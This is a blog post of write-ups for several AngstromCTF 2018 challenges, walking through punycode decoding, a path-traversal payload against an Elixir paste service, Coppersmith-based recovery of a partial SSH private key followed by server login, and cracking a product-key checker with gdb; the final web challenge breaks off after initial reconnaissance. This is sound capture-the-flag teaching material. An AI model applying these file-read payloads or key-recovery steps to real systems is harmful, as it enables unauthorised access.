The id0.Blog

AngstromCTF 2018 Writeups

Hello all, I honestly have no idea if I should start making CTF writeups, but here are my writeups for AngstromCTF 2018.

Weird Message

100 points, Misc

This is an interesting problem. The hint, "xn--", suggests that the string is encoded in punycode. Let's start out with a simple nodejs library. The string decodes well. Looks like all we need to do is decode the string many times. A simple loop can do that. But let me test again, just to be sure...
> punycode.decode('tf{und!_rl_mgl_fr_umt}-... snip ...-еЬ883Ь99ufаеnm449уеаЬ2821соdјgа346сqах642іса6417һ1а492іfо3схk06аnаlf');
RangeError: Overflow: input needs wider integers to process
    at error (punycode.js:42:8)
    at Object.decode (punycode.js:241:5)
>
Oh wait, what's this? "Input needs wider integers to process". Oh wait... Upon closer inspection, that 'b' looks strange. Let's put it in Python.
>>> 'еЬ883Ь99ufаеnm449уеаЬ2821соdјgа346сqах642іса6417һ1а492іfо3схk06аnаlf'
'\xd0\xb5\xd0\xac883\xd0\xac99uf\xd0\xb0\xd0\xb5nm449\xd1\x83\xd0\xb5\xd0\xb0\xd0\xac2821\xd1\x81\xd0\xbed\xd1\x98g\xd0\xb0346\xd1\x81q\xd0\xb0\xd1\x85642\xd1\x96\xd1\x81\xd0\xb06417\xd2\xbb1\xd0\xb0492\xd1\x96f\xd0\xbe3\xd1\x81\xd1\x85k06\xd0\xb0n\xd0\xb0lf'
>>>
Well, that's a problem. Now we need to decode the string and to replace the unicode characters. Let's create a Python script with the same loop we were planning to write before, along with a dict to store known unicode characters and their translations. We search through the dict to replace the known characters on every decode, and prompt the user for any unknown characters.
[email protected]:/volatile/downloads/CTF/done$ cat decode.py
#!/usr/bin/python3

import string, codecs
knowns = list(string.printable) + ['\xd0\xac']
translations = {'\xd0\xac': 'b'}

mystr = b'tf{und!_rl_mgl_fr_umt}-... snip ...-ek024bdaj445tfahedfib941zkaf0071cwa659nhafn033ic6ksa1976gla153ick36c'
while True:
	mystru = str(mystr, 'punycode')
	unknowns = filter(lambda x: x not in knowns, mystru)
	for char in unknowns:
		translations[char] = input("Translation for %s? " % char).strip('\n')
		knowns += char
	for key, value in translations.items():
		mystru = mystru.replace(key, value);
	print("Current string: %s" % mystru);
	mystr = bytearray(mystru, 'ASCII');
Now all we need to do is to run the script, feeding it the input it needs.
[email protected]:/volatile/downloads/CTF/done$ python decode.py
Translation for е? e
Translation for Ь? b
Translation for а? a
Translation for у? y
Translation for с? c
Translation for о? o
Translation for ј? j
Translation for х? x
Translation for і? i
Translation for һ? h
Current string: tf{und!_rl_mgl_fr_umt}-
... snip ...
Current string: tf{und!_rl_mgl_fr_umt}-fxre3fk4kdcgc3ykabg3cjjpgk6eta70fia3c757aha
Current string: actf{punycode!_replace_homoglyphs_before_submit}
Traceback (most recent call last):
  File "/usr/lib/python3.6/encodings/punycode.py", line 207, in decode
    res = punycode_decode(input, errors)
  File "/usr/lib/python3.6/encodings/punycode.py", line 194, in punycode_decode
    return insertion_sort(base, extended, errors)
  File "/usr/lib/python3.6/encodings/punycode.py", line 165, in insertion_sort
    bias, errors)
  File "/usr/lib/python3.6/encodings/punycode.py", line 146, in decode_generalized_number
    % extended[extpos])
UnicodeError: Invalid extended code point 'P'

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "decode.py", line 9, in 
    mystru = str(mystr, 'punycode')
UnicodeError: decoding with 'punycode' codec failed (UnicodeError: Invalid extended code point 'P')
Oh no, what's this; a crash? Oh look, there's the flag!

Paste Palooza

150 points, Misc

This is a relatively simple problem. While the syntax of Elixir seems unfamiliar, by taking an input and handling it as a simple string concatentation with seemingly no path protection, we can already tell that it is a LFI. However, it seems like the flag is not a text file, so we need some other way to terminate the string early. Adding a null byte to the end doesn't work like it would in PHP. Let's download the source and run a local copy.
However, we should also get ourselves some output so we can understand what the program is doing. Let's add a command to print the result to the console.
  def access(filename) do
    unsafe = "pastes/" <> filename <> ".txt"
    path = filter(unsafe <><<0>>, "", String.length(unsafe))
    IO.puts(path)
    case File.read path do
      {:ok, content} -> content
      {:error, reason} -> "File not found.\n"
    end
  end
Running the application, we note that all non-printable characters seem to be remove. By reading the source code more in-depth, we can find that there is a filter function that filters out certain characters, including null bytes. However, it doesn't seem to filter out periods and slashes, so all we need to do is to remove the .txt at the end.
  def filter(<< head, tail :: binary >>, acc, n) do
    if n == 0 do 
      acc
    else
      n = n - 1
      if head < 33 or head > 126 do
        filter(tail, acc, n)
      else
        filter(tail, acc <> <<head>>, n)
      end
    end
  end
Let's check how it handles UTF-8 characters! This is the first one I found: é. Let's run the script again, just this time, with this added.
Client:
[email protected]:/volatile/downloads/redacted/lib$ nc localhost 3001
Welcome to Paste Palooza!
Currently, only the file access feature is available.
Access a file by entering its name: testé
File not found.
Server:
[email protected]:/volatile/downloads/redacted$ iex -S mix
Erlang/OTP 20 [erts-9.2] [source] [64-bit] [smp:12:12] [ds:12:12:10] [async-threads:10] [hipe] [kernel-poll:false]

Interactive Elixir (1.6.1) - press Ctrl+C to exit (type h() ENTER for help)

01:28:41.813 [info]  Accepting connections on port 3001
iex(1)> pastes/test.tx
Oh wait, what's this? It's missing a letter? That's strange. But because this is a two-byte UTF-8 character, it looks like the program is iterating through the length of the string in characters while iterating through each byte of the string. The filter even conveniently removed the é character! Now all we need to do is to combine our LFI with four é's!
[email protected]:/volatile/downloads/redacted/lib$ nc localhost 3001
Welcome to Paste Palooza!
Currently, only the file access feature is available.
Access a file by entering its name: ../mix.exséééé
defmodule PastePalooza.Mixfile do
  use Mix.Project

  def project do
    [
      app: :pastepalooza,
      version: "0.1.0",
      elixir: "~> 1.5",
      start_permanent: Mix.env == :prod,
      deps: deps(),
      flag: "REDACTED"
    ]
... snip ...
There! And the same exploit works on the server.

SSH

150 points, Crypto

In this challenge, we get part of an SSH private key, along with the public key, and are tasked with finding the rest of the private key. Let's first generate another SSH public key of the same length to compare, then dump it with openssl.
[email protected]:/volatile/downloads/CTF/done/ssh$ ssh-keygen -t rsa -b 2048 -f id_rsa_2
[email protected]:/volatile/downloads/CTF/done/ssh$ openssl rsa -text -noout < id_rsa_2
Private-Key: (2048 bit)
modulus:
    00:e8:e1:89:2f:51:d2:1b:bc:76:a7:dc:a6:67:61:
    18:97:91:28:70:5e:ee:8d:c9:04:61:32:2d:be:e7:
    90:15:66:85:3e:12:f7:d2:ad:d2:4b:cb:77:5a:11:
... snip ...
    8a:18:cb:9a:cf:d3:97:8c:59
prime2:
    00:f3:3f:76:57:73:48:7c:7c:84:fd:7b:73:df:d0:
    0f:66:04:9d:4b:39:91:88:5b:14:4b:d3:9b:01:8e:
    6f:87:fc:bd:3f:c5:6e:fe:e0:e3:d5:8f:8d:b3:69:
    af:42:12:33:ba:dd:19:0f:18:0f:ba:e0:34:9c:7b:
    7d:75:cf:92:f8:57:12:d1:53:8e:7f:a7:a4:bf:d4:
    ab:46:4c:7d:6f:ff:4e:c2:49:04:0c:c2:10:69:26:
    8c:97:20:32:94:6d:ec:1c:fe:77:af:22:dc:1a:ce:
    64:9f:b3:dd:8d:4a:7b:92:e1:7e:ee:fc:7f:1c:dc:
    a7:95:14:74:cf:83:2e:5e:0f
... snip ...
    84:d0:ea:2c:e2:f4:bb:56:b1
Once we have the dump of the private key, we can decode the private key from base64 and encode it with hex using Python. By piping this key into grep, we can find the DER metadata that marks the start of each field.
>>> '''MIIEpAIBAAKCAQEA6OGJL1HSG7x2p9ymZ2EYl5EocF7ujckEYTItvueQFWaFPhL3
... 0q3SS8t3WhEQA2prE56OysP/fRy6JErNJdmu8IxHYushvpii7GWJDBtGlxVfUNda
... B0PCVaanMgk4/BNyhGyD9BCpcu/cLA5nn7j3icKpc75T8NDJYgdNNMxlkk+2STu5
... 8FzK6y5QegV8eNpAELS5/RPFEMpI5hTJ/h69uBYHGSvb1lk6MDrv//VNK8taadk3
... ... snip ...
... FuSZvwKBgQCj/CsNFoYpRmfVmf71czHGWcH6NBx6Q7jIQPnfEir9+7aqcnowyUri
... dQxBqAD50WFnyfJ3BCm84rhCQbx1Xj5eyB08BmZcmg6B1sw0npOrdAeL4LbGOxNi
... 5pE7AIzc7vL4nenoEgGRLvu1Ei46IYLbtA2rkXyYHoTQ6izi9LtWsQ=='''.decode('base64').encode('hex')
'308204a40201000282010 ... snip ... c981e84d0ea2ce2f4bb56b1'
>>> exit();
[email protected]:~$ echo '308204a40201000282010 ... snip ... c981e84d0ea2ce2f4bb56b1' | grep 00f33f # Note: 00f33f is the start of prime2 (q)
308204a4020... snip ...cfd3978c5902818100f33f... snip ...d0ea2ce2f4bb56b1
Here, we see that the start of q is marked by the DER code '028181'. We now decode what we have of the challenge private key in Python, and find that q starts at the middle.
>>> '''YC2/ZTbmSZFL9t5Em+ic2ayw0nNUSI6XO7+3tcT9TABzh94t9YLhiDcCgYEA0LFZ
... OUTgvmnWAkwGSo/6huQOu/7VmsM7OBdFntgotOJXALXFqCeT2PMXyWVc9/6ObUZj
... z9LQUlT6mnzYwFrX4mPPOTY5nvCyjepQlSDA7w49yaRhXKCFRHmEieeFJqzrZoQG'''.decode('base64').encode('hex')
'602dbf6536e649914bf6de449be89cd9acb0d27354488e973bbfb7b5c4fd4c007387de2df582e1883702818100d0b1593944e0be69d6024c064a8... snip ...544798489e78526aceb668406'
However, we only have part of q. Oh no! What do we do now? Fortunately, there is an attack on RSA called the coppersmith's attack, which will find an RSA prime with the high bits known, and we can find a script to exploit it online.
First, though, we have to approximate the rest of the prime. We extend the hex string to the same length as the prime dumped in step 1, then replace all the unknown characters with f's. We decode the prime from hex to decimal using Python so that we can pass it into the script as qbar.
>>> qbar = int('00d0b1593944e0be69d6024c064a8ffa86e40ebbfed59ac33b3817459ed828b4e25700b5c5a82793d8f317c9655cf7fe8e6d4663cfd2d05254fa9a7cd8c05ad7e263cf3936399ef0b28dea509520c0ef0e3dc9a4615ca08544798489e78526aceb668406??????????????????????????????????????????????????????????'.replace('?', 'f'), 16)
>>> qbar
146549045227354172989110651205310632574067392372993711861623526130946979713469625772410411197033006823693645223316947254702263484103463390279967082549781844195965622071604103417650285219901124684816890970225510506869249766243257198851929423415614722596274340364744833427253274910457484375928631423371701125119L
We also need to pass in N. This is a public number, and can be obtained from the public key. We encode the public key in PEM format, then dump its contents using openssl.
[email protected]:/volatile/downloads/CTF/done/ssh$ ssh-keygen -f id_rsa.pub -e -m pem > id_rsa.pub.pem
[email protected]:/volatile/downloads/CTF/done/ssh$ openssl asn1parse -inform PEM < id_rsa.pub.pem
    0:d=0  hl=4 l= 266 cons: SEQUENCE          
    4:d=1  hl=4 l= 257 prim: INTEGER           :BE5D958B09B2291CF0BD36511C9155E229F8AE8DCCAEE... snip ...3D4CA40675753DA896AE5FCFA01593A7C84D518C503C0AEE581
  265:d=1  hl=2 l=   3 prim: INTEGER           :010001
The number on the second line seems to be N, and the third line seems to be e. We convert N to an integer in much the same way as we did q, then copy over the functions from our downloaded sage script to another sage script, tweaking the input slightly, passing in the prime.

import time

debug = True

... snip ...

N = 24031426009258585415105324998970701655451460140660105245278171650878655493832570145520528674334486553204442446050601099312855866652174529838264749199630546148628121934849433734634042641132125007923761347962489974645002007692970466377879714666376153284839287915500514317384370204031902874952028757660051907008749997171513281852774870171717680368772057416440542176768196388565781131705261355090923059616730128088291078728643698870108958810166348296696671079733506691833466453747784418214869999275238860856569886383373280256273665811649081849561360513128165462438255912304945446909477593597880634673262567888241113884033L;

# qbar is q + [hidden_size_random]
qbar = 146549045227354172989110651205310632574067392372993711861623526130946979713469625772410411197033006823693645223316947254702263484103463390279967082549781844195965622071604103417650285219901124684816890970225510506869249766243257198851929423415614722596274340364744833427253274910457484375928631423371701125119L;

F.<x> = PolynomialRing(Zmod(N), implementation='NTL');
pol = x - qbar
dd = pol.degree()

# PLAY WITH THOSE:
beta = 0.5                             # we should have q >= N^beta
epsilon = beta / 7                     # <= beta/7
mm = ceil(beta**2 / (dd * epsilon))    # optimized
tt = floor(dd * mm * ((1/beta) - 1))   # optimized
XX = ceil(N**((beta**2/dd) - epsilon)) # we should have |diff| < X

# Coppersmith
start_time = time.time()
roots = coppersmith_howgrave_univariate(pol, N, beta, mm, tt, XX)

# output
print "\n# Solutions"
print "we found:", roots
print("in: %s seconds " % (time.time() - start_time))
We run the script.
[email protected]:/volatile/downloads/CTF/done/ssh$ sage factor.sage

# Optimized t?

we want X^(n-1) < N^(beta*m) so that each vector is helpful
* X^(n-1) =  2.99208845147604e770
* N^(beta*m) =  5.77509436038470e1232
* X^(n-1) < N^(beta*m) 
-> GOOD

# X bound respected?

we want X <= N^(((2*beta*m)/(n-1)) - ((delta*m*(m+1))/(n*(n-1)))) / 2 = M
* X = 116948955357807284362464002404210267171595354453182104348114378608437500850390635966552837990924478921966616576
* M = 6.03344864575480e131
* X <= M 
-> GOOD

# Solutions possible?

we can find a solution if 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n)
* 2^((n - 1)/4) * det(L)^(1/n) =  1.74086115330288e1156
* N^(beta*m) / sqrt(n) =  2.04180419211010e1232
* 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n) 
-> SOLUTION WILL BE FOUND

# Note that no solutions will be found _for sure_ if you don't respect:
* |root| < X 
* b >= modulus^beta

00 X 0 0 0 0 0 0 0 ~
01 X X 0 0 0 0 0 0 
02 X X X 0 0 0 0 0 
03 X X X X 0 0 0 0 
04 X X X X X 0 0 0 
05 0 X X X X X 0 0 
06 0 0 X X X X X 0 
07 0 0 0 X X X X X 
potential roots: [(1424632288941771831337603800308463796316066632150831619174778883066872, 1)]

# Solutions
we found: []
in: 0.0395460128784 seconds 
Oh no, no roots? That can't be possible. Let's look through the script. "we should have q >= N^beta". Maybe we can try decreasing beta.
[email protected]:/volatile/downloads/CTF/done/ssh$ sage factor.sage

# Optimized t?

we want X^(n-1) < N^(beta*m) so that each vector is helpful
* X^(n-1) =  2.48310665964803e380
* N^(beta*m) =  4.53874152295553e739
* X^(n-1) < N^(beta*m) 
-> GOOD

# X bound respected?

we want X <= N^(((2*beta*m)/(n-1)) - ((delta*m*(m+1))/(n*(n-1)))) / 2 = M
* X = 2507066742448959627281395915407054886433403004210569654409625600
* M = 1.38831388214684e70
* X <= M 
-> GOOD

# Solutions possible?

we can find a solution if 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n)
* 2^((n - 1)/4) * det(L)^(1/n) =  9.44985502193256e718
* N^(beta*m) / sqrt(n) =  1.71548304784898e739
* 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n) 
-> SOLUTION WILL BE FOUND

# Note that no solutions will be found _for sure_ if you don't respect:
* |root| < X 
* b >= modulus^beta

00 X 0 0 0 0 0 0 ~
01 X X 0 0 0 0 0 
02 X X X 0 0 0 0 
03 X X X X 0 0 0 
04 0 X X X X 0 0 
05 0 0 X X X X 0 
06 0 0 0 X X X X 
potential roots: [(1424632288941771831337603800308463796316066632150831619174778883066872, 1)]

# Solutions
we found: [1424632288941771831337603800308463796316066632150831619174778883066872]
in: 0.0262150764465 seconds 
There we go! Now we return to the Python terminal from earlier and subtract this root from qbar to get q. Since N = pq, we can verify that this is indeed q if N%q == 0, and we can get p by using p = N/q.
>>> q = qbar-1424632288941771831337603800308463796316066632150831619174778883066872L
>>> q
146549045227354172989110651205310632574067392372993711861623526130946979713469625772410411197033006823693645223316947254702263484103463390279967082549781844195965622071604103417650285219901124684816890970225510506869249766243257198851929421990982433654502509027141033118789478594390852225097012248592818058247L
>>> N%q
0L
>>> p = N/q
>>> p
163982139712862418555526520701188853132435025142588334581109287244065993155706892302449577647543501705795708316995057467949529976798218410513821698432879399377481736303821213515873396833696040164615779257072417113571942677691455176550027493593024586313878742269786944829130979576180492741390980797445630429239L
Now, we have both p and q. All we need to do is combine these into a DER file. Let's use rsatool to do this.
[email protected]:/volatile/downloads/rsatool-master$ python2 rsatool.py -e 65537 -p 16398213971286241... snip ...97445630429239 -q 14654904522735417298911... snip ...97012248592818058247 -f PEM -o id_rsa
Using (p, q) to initialise RSA instance

n =
be5d958b09b2291cf0bd36511c9155e229f8ae8dccaee1552c9669b81b532a363b4f34769412867c
cf92cb40addef5200a05dcdef09c8da30982fa5413d952f4e7db3da739519fab77d574de52366c96
03ace887c0cbf32c5247cec14228e8a72aa5256799e54c40f3a22d4642cdaf5e0dd077331158e7d8
4dba8756d531a4bb4d2ba3e79c29972f27eb8d0bf9df81e2e9cda23b0ddead23c00aaebfa0f53832
77a22177729a9cb5ee58c47019b6cb322d7fb9a41df3a2d562dfd202f9063b5e5e5042cfef6ddcfe
41232867e1c122a8dcc18ce51efbb8cc5f9bc0f3296f1091ca3010ed851273d4ca40675753da896a
e5fcfa01593a7c84d518c503c0aee581

e = 65537 (0x10001)

d =
620075bb457b95d4d34ee586ae6957c87e090b7beeb2dd486712ec4c1ead1adf1e7b712bd6a10ee1
744f431a0228f512d076223617b2d0ebed3aa3bae3190faf0b2a003c75b2c2bb988ea882c7da42de
9bf7c922122c2cfd5542a87b2f9f35ded18281962b51338780a5ae1f2cc70d1023967db729a8167b
71d0a45a1c99590f3c4bfa59f6cb99808d1b8c4e5c0ca7feeec7f2c88f6cee0a343be1f1217c23c2
ec0e779740374cffda319dc8797a0b010a58b0ad79e33adc3ca088dcbf4fdb68da954c49b3aa693f
0e0545d6845e3413d720a2df5c98158e4b45d2bd6e2ea08672db20644ea9aec7c192c1087b970564
cd929d43e5ea32f1c1e19a266adb84ed

p =
e984b0820151d7ed6a86569073ea12e64d36fa33bc360082cd1e87ad0618f6dd6f0dbac674170c3d
11f1e8ea1208c48ee3c6313f7703138fc2d2dc8e94fdd4a427bd92a420de8a025d0423e80351acaa
2c92bfe5e11729602dbf6536e649914bf6de449be89cd9acb0d27354488e973bbfb7b5c4fd4c0073
87de2df582e18837

q =
d0b1593944e0be69d6024c064a8ffa86e40ebbfed59ac33b3817459ed828b4e25700b5c5a82793d8
f317c9655cf7fe8e6d4663cfd2d05254fa9a7cd8c05ad7e263cf3936399ef0b28dea509520c0ef0e
3dc9a4615ca08544798489e78526aceb668406cb284ebe0ee0120defe7405ffe7d76fb6bb469183c
b262822c9b6f3407

Saving PEM as id_rsa
Great! Now all we need to do is chmod the file and log in.
[email protected]:/volatile/downloads/rsatool-master$ chmod 600 id_rsa
[email protected]:/volatile/downloads/rsatool-master$ ssh -i id_rsa [email protected] -p 3004
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
actf{ssh_keys_not_broken_enough}
Connection to web.angstromctf.com closed.
There's the flag!

Product Key

200 points, Reverse Engineering

This is a relatively standard reverse engineering problem. I am not adept enough at Assembler to reverse engineer this in a quick enough time, so let's use a decompiler. Most free decompilers don't support x64, but I found one which does, Snowman.

Wow! That's a lot of very confusing code! For one, what are the fun functions anyway? For another, why are we casting pointers to longs, doing some simple arithmetic, then casting them back to pointers? Well, let's go through the functions.

int64_t fun_400680(void* rdi, void* rsi, void* rdx, uint64_t rcx) {
    goto __stack_chk_fail;
}

int64_t puts = 0x400666;

void fun_400660(void* rdi, void* rsi, void* rdx) {
    goto puts;
}

int64_t strtok = 0x4006e6;

int64_t fun_4006e0(void* rdi, void* rsi) {
    goto strtok;
}

int64_t strlen = 0x400676;

int32_t fun_400670(struct s0* rdi, void* rsi) {
    goto strlen;
}

int64_t printf = 0x400696;

void fun_400690(int64_t rdi, int64_t rsi, int64_t rdx) {
    goto printf;
}
Looks like these fun functions are all just links to functions at libc. We can do a find-and-replace for each of them, then delete their declarations.

void swapArr(uint32_t* rdi, int32_t esi, int32_t edx, void* rcx) {
    rdi[esi] = rdi[edx] ^ rdi[esi];
    rdi[edx] = rdi[esi] ^ rdi[edx];
    rdi[esi] = rdi[edx] ^ rdi[esi];
    return;
}
swapArr seems to swap rdi[edx] with rdi[esi] using xor. The code is pretty self-explanitory.

int32_t sumChars(void* rdi, int32_t esi, int32_t edx, int32_t ecx, ...) {
    void* v5;
    int32_t v6;
    int32_t v7;
    int32_t v8;
    int32_t v9;
    uint32_t eax10;

    v5 = rdi;
    v6 = edx;
    v7 = ecx;
    v8 = 0;
    v9 = esi;
    while (v9 < v6) {
        eax10 = *reinterpret_cast<unsigned char*>(reinterpret_cast<int64_t>(v5) + v9);
        v8 = v8 + *reinterpret_cast<signed char*>(&eax10);
        v9 = v9 + v7;
    }
    return v8;
}
sunChars seems to iterate through the array rdi. It can be simplified to this C code:

int sumChars(char* str, int start, int end, int step, ...) {
    int total=0;
    int i=start;

    while (i < end) {
        total += str[i];
        i += step;
    }
    return total;
}
Now onto the hard part. After looking through the function verify_key, we notice that the inputs that we give are tokenized into integers and placed into an array. I renamed this array ints.
We also notice that there must be exactly 6 integers in the string.

    stringstart = strtok(rdi11, "-");
    while (stringstart) {
        rbx14 = v9;
        v9 = ((char*)rbx14)[1];
        ints[rbx14] = atoi(stringstart, "-");
        *reinterpret_cast<int*>(&rsi10) = reinterpret_cast<int>("-");
        *reinterpret_cast<int*>(reinterpret_cast<long>(&rsi10) + 4) = 0;
        *reinterpret_cast<int*>(&rdi11) = 0;
        *reinterpret_cast<int*>(reinterpret_cast<long>(&rdi11) + 4) = 0;
        stringstart = strtok(rdi11, "-");
    }
    if (v9 == 6) { // v9 is number of dashes and also number of integers in array that string has been converted to
Therefore, the only valid inputs are sequences of 6 integers. After this, the program does some handling of the email and name inputs (that I have renamed corresponding to the input they carry), but doesn't seem to touch ints.

        while (v26 <= 31) {
            mail[v26] ^= 5; //v6
            name[v26] ^= 15; //v5
            ++v26;
        }
        v29 = 0;
        while (v29 <= 5) {
            eax31 = sumChars(mail, 0, 32, v29+2); // 1526, 1046, 787, 691, 595, 335
            eax34 = sumChars(mail, v29+1, 32, v29+2); // 1492, 1042, 641, 612, 528, 388
            ecx35 = eax31 * eax34;
            ints[v29] -= (ecx35 - ((__intrinsic() >> 12) - (ecx35 >> 31)) * 0x2710);
            eax36 = sumChars(name, 0, 32, 2); // 1336 (always)
            *reinterpret_cast<int*>(&rcx24) = 2;
            *reinterpret_cast<int*>(reinterpret_cast<long>(&rcx24) + 4) = 0;
            eax37 = sumChars(name, 1, 32, 2); // 1310 (always)
            *reinterpret_cast<int*>(&rax38) = eax36 - eax37;
            *reinterpret_cast<int*>(reinterpret_cast<long>(&rax38) + 4) = 0;
            ints[v29] += static_cast<int>(rax38 * 4);
            ++v29;
        }
We then move onto the part where ints is handled. It looks like the integer inputs are scambled. I put comments to tell which sequence number ends up where.

        int* ints = (long)rbp4-0x70; // Array of length 6
        swapArr(ints, 3, 4, rcx24); // [0 1 2 4 3 5]
        swapArr(ints, 2, 5, rcx24); // [0 1 5 4 3 2]
        swapArr(ints, 1, 5, rcx24); // [0 2 5 4 3 1]
        swapArr(ints, 2, 3, rcx24); // [0 2 4 5 3 1]
        swapArr(ints, 0, 5, rcx24); // [1 2 4 5 3 0]
        swapArr(ints, 4, 5, rcx24); // [1 2 4 5 0 3]
We go through some more code, but it seems that both ints and the array of integers generated by the email and name don't mix at all, and are only shifted linearly. Armed with this knowledge, we can fire up gdb and find our ideal input.
We find the place in the assembler dump which corresponds with the verification loop at the end of the C file, then enter its address as a breakpoint.
C code that verifies ints == ints2:

        v52 = 1;
        v53 = 0;
        while (v53 <= 5) { // VERIFY
            if (ints2[v53] != ints[v53]) {
                v52 = 0;
            }
            ++v53;
        }
        *reinterpret_cast<uint*>(&rax54) = v52;
Assembler dump that hints at a similar function:
  400fa8:	8b 54 85 90          	mov    edx,DWORD PTR [rbp+rax*4-0x70]
  400fac:	8b 85 5c ff ff ff    	mov    eax,DWORD PTR [rbp-0xa4]
  400fb2:	48 98                	cdqe   
  400fb4:	8b 44 85 d0          	mov    eax,DWORD PTR [rbp+rax*4-0x30]
  400fb8:	39 c2                	cmp    edx,eax
  400fba:	74 07                	je     400fc3 <verify_key+0x691>
  400fbc:	c6 85 37 ff ff ff 00 	mov    BYTE PTR [rbp-0xc9],0x0
  400fc3:	83 85 5c ff ff ff 01 	add    DWORD PTR [rbp-0xa4],0x1
  400fca:	83 bd 5c ff ff ff 05 	cmp    DWORD PTR [rbp-0xa4],0x5
  400fd1:	7e cd                	jle    400fa0 <verify_key+0x66e>
  400fd3:	0f b6 85 37 ff ff ff 	movzx  eax,BYTE PTR [rbp-0xc9]
  400fda:	48 8b 5d e8          	mov    rbx,QWORD PTR [rbp-0x18]
  400fde:	64 48 33 1c 25 28 00 	xor    rbx,QWORD PTR fs:0x28
From the assembly dump above, we see that the two arrays, ints and ints2, are located at $rbp-0x70 and $rbp-0x30, respectively.
Now, all we need to do is run the program with the correct inputs for email and name, and dummy inputs for the product key.
(gdb) break *0x400fb8
Breakpoint 1 at 0x400fb8
(gdb) run
Starting program: /volatile/downloads/activate/activate 
Name: Artemis Tosini
Email: [email protected]
Product key: 0000-0000-0000-0000-0000-0000

Breakpoint 1, 0x0000000000400fb8 in verify_key ()
Let's examine the memory.
(gdb) print $rbp
$1 = (void *) 0x7fffffffe1e0
(gdb) x/6d $rbp-0x30
0x7fffffffe1b0:	2040	6016	2964	504
0x7fffffffe1c0:	2891	4600
(gdb) x/6d $rbp-0x70
0x7fffffffe170:	-4064	1405	1721	-4195
0x7fffffffe180:	-1023	2889
From this, and the swapArr calls earlier, we can deduce how ints is calculated, and make it equal to ints2.
Ints is an array equal to (-4064+EFGH 1405+IIJK 1721+PQRS -4195+TUVW -1023+ABCD 2889+LMNO) at this time.
We find the differences from ints2, then plug this into the input.
Python:
Python 2.7.14 (default, Jan  5 2018, 10:41:29) 
[GCC 7.2.1 20171224] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> efgh = 2040--4064
>>> iijk = 6016-1405
>>> pqrs = 2964-1721
>>> tuvw = 504--4195
>>> abcd = 2891--1023
>>> lmno = 4600-2889
>>> print "%s-%s-%s-%s-%s-%s" % (abcd, efgh, iijk, lmno, pqrs, tuvw)
3914-6104-4611-1711-1243-4699
Let's test out our new product key!
[email protected]:/volatile/downloads/activate$ ./activate
Name: Artemis Tosini
Email: [email protected]
Product key: 3914-6104-4611-1711-1243-4699
Windows has been activated
And that works as the flag.

The Best Website

230 points, Web

In this problem, all we seem to see at first is a static website. We go into the HTML source to see if we can get any clues.

It looks like there are a few Javascript files that are used on the page. Let's look at their source codes to see if we can gather any information.
The first two Javascript files are minified and hard to read, but the last Javascript file seems very interesting. It shows an Ajax GET request near the end, and seems to request for a few "IDs".

/*
	Ion by TEMPLATED
	templated.co @templatedco
	Released for free under the Creative Commons Attribution 3.0 license (templated.co/license)
*/

ids = ["5aad412be07e1e001cfce6d2","5aad412be07e1e001cfce6d3","5aad412be07e1e001cfce6d4"];

(function($) {

	skel.init({
		reset: 'full',
		breakpoints: {

			// Global.
				global: {
					range: '*',
					href: 'css/style.css',
					containers: 1400,
					grid: {
						gutters: {
							vertical: '4em',
							horizontal: 0
						}
					}
				},

			// XLarge.
				xlarge: {
					range: '-1680',
					href: 'css/style-xlarge.css',
					containers: 1200
				},

			// Large.
				large: {
					range: '-1280',
					href: 'css/style-large.css',
					containers: 960,
					grid: {
						gutters: {
							vertical: '2.5em'
						}
					},
					viewport: {
						scalable: false
					}
				},

			// Medium.
				medium: {
					range: '-980',
					href: 'css/style-medium.css',
					containers: '90%',
					grid: {
						collapse: 1
					}
				},

			// Small.
				small: {
					range: '-736',
					href: 'css/style-small.css',
					containers: '90%',
					grid: {
						gutters: {
							vertical: '1.25em'
						}
					}
				},

			// XSmall.
				xsmall: {
					range: '-480',
					href: 'css/style-xsmall.css',
					grid: {
						collapse: 2
					}
				}

		},
		plugins: {
			layers: {

				// Config.
					config: {
						transform: true
					},

				// Navigation Panel.
					navPanel: {
						animation: 'pushX',
						breakpoints: 'medium',
						clickToHide: true,
						height: '100%',
						hidden: true,
						html: '<div data-action="moveElement" data-args="nav"></div>',
						orientation: 'vertical',
						position: 'top-left',
						side: 'left',
						width: 250
					},

				// Navigation Button.
					navButton: {
						breakpoints: 'medium',
						height: '4em',
						html: '<span class="toggle" data-action="toggleLayer" data-args="navPanel"></span>',
						position: 'top-left',
						side: 'top',
						width: '6em'
					}

			}
		}
	});

	$(function() {

		$.ajax({
			url: "/boxes?ids="+ids.join(","),
			success: function(data) {
				data = JSON.parse(data)
				$("#box1_title").text(data.boxes[0].data.split("^")[0])
				$("#box1_caption").text(data.boxes[0].data.split("^")[1])
				$("#box2_title").text(data.boxes[1].data.split("^")[0])
				$("#box2_caption").text(data.boxes[1].data.split("^")[1])
				$("#box3_title").text(data.boxes[2].data.split("^")[0])
				$("#box3_caption").text(data.boxes[2].data.split("^")[1])
			}
		})

	});

})(jQuery);
By doing a curl -v on the server, we notice that the server runs NodeJS Express.
[email protected]:~$ curl -v http://web.angstromctf.com:7667/ > /dev/null
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 162.243.30.173...
* TCP_NODELAY set
* Connected to web.angstromctf.com (162.243.30.173) port 7667 (#0)
> GET / HTTP/1.1
> Host: web.angstromctf.com:7667
> User-Agent: curl/7.58.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Accept-Ranges: bytes
< Cache-Control: public, max-age=0
< Last-Modified: Fri, 16 Mar 2018 22:40:27 GMT
< ETag: W/"19df-16230f8af78"
< Content-Type: text/html; charset=UTF-8
< Content-Length: 6623
< Date: Wed, 28 Mar 2018 23:55:47 GMT
< Connection: keep-alive
< 
{ [1153 bytes data]
100  6623  100  6623    0     0  33281      0 --:--:-- --:--:-- --:--:-- 33281
